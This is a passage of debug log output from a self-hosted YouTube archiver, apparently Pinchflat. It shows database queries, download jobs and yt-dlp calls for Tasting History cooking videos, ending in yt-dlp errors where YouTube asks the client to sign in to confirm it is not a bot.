Victorian Ocean Liner [9SvcDeiwXrc].NA", false, false, 3, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-29 06:51:10Z], ~U[2026-03-29 06:51:10Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", nil, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, 3, ~U[2026-03-17 00:00:00Z]] 02:51:10.122 [debug] QUERY OK source="sources" db=0.2ms idle=48.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:10.122 [debug] QUERY OK source="media_profiles" db=0.1ms idle=48.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:10.123 [debug] QUERY OK source="media_items" db=0.3ms idle=47.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:10.123 [info] Kicking off download for media item #12040 (9SvcDeiwXrc) 02:51:10.125 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1695, 12040, ~U[2026-03-29 06:51:10Z], ~U[2026-03-29 06:51:10Z]] 02:51:10.125 [debug] Current batch of media processed. Will check again in 1000ms 02:51:10.133 [info] {"args":{"id":12546},"id":1694,"meta":{},"system_time":1774767070133101507,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:10.133 [info] {"args":{"id":12040},"id":1695,"meta":{},"system_time":1774767070133152027,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:10.133 [debug] QUERY OK source="media_items" db=0.2ms idle=9.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 02:51:10.133 [debug] QUERY OK source="media_items" db=0.3ms idle=9.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 02:51:10.133 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:10.133 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:10.134 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:10.134 [debug] QUERY OK source="sources" db=0.6ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:10.134 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:10.134 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:10.135 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:10.135 [debug] QUERY OK source="media_items" db=0.7ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:10.136 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 02:51:10.136 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 02:51:10.136 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:10.136 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:10.137 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.137 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.137 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.137 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.137 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:10.137 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:10.138 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.138 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.138 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.138 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.138 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.139 [debug] QUERY OK source="settings" db=0.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:10.139 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6c/c2/6cc2e6487b18eae005102f8172dc22ec592480e35ad4a0b5300eef0d7db5c560.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:10.139 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/20/11/20117e8ad2fec88e6184857dc895491eff44be4c7bc660d98da1dda9510ac753.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:11.125 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", "id" => "t1O1hcixZDU", "original_url" => "https://www.youtube.com/watch?v=t1O1hcixZDU", "playlist_index" => 3, "title" => "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "upload_date" => "20260310"} 02:51:11.126 [debug] QUERY OK source="sources" db=0.2ms idle=987.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:11.126 [debug] QUERY OK source="sources" db=0.1ms idle=987.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:11.128 [debug] QUERY OK source="media_items" db=1.4ms idle=987.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 3] 02:51:11.131 [debug] QUERY OK source="media_items" db=2.6ms idle=989.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "2c32e676-fe21-41f5-b764-0ff8afa4179b", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, false, 3, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, false, 3, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-29 06:51:11Z], ~U[2026-03-29 06:51:11Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", nil, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, 3, ~U[2026-03-10 00:00:00Z]] 02:51:11.131 [debug] QUERY OK source="sources" db=0.1ms idle=433.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:11.132 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:11.132 [debug] QUERY OK source="media_items" db=0.2ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:11.133 [info] Kicking off download for media item #11535 (t1O1hcixZDU) 02:51:11.134 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1696, 11535, ~U[2026-03-29 06:51:11Z], ~U[2026-03-29 06:51:11Z]] 02:51:11.134 [debug] Current batch of media processed. Will check again in 1000ms 02:51:11.991 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/20/11/20117e8ad2fec88e6184857dc895491eff44be4c7bc660d98da1dda9510ac753.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:11.991 [error] yt-dlp download error for media item #12040: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:11.991 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re 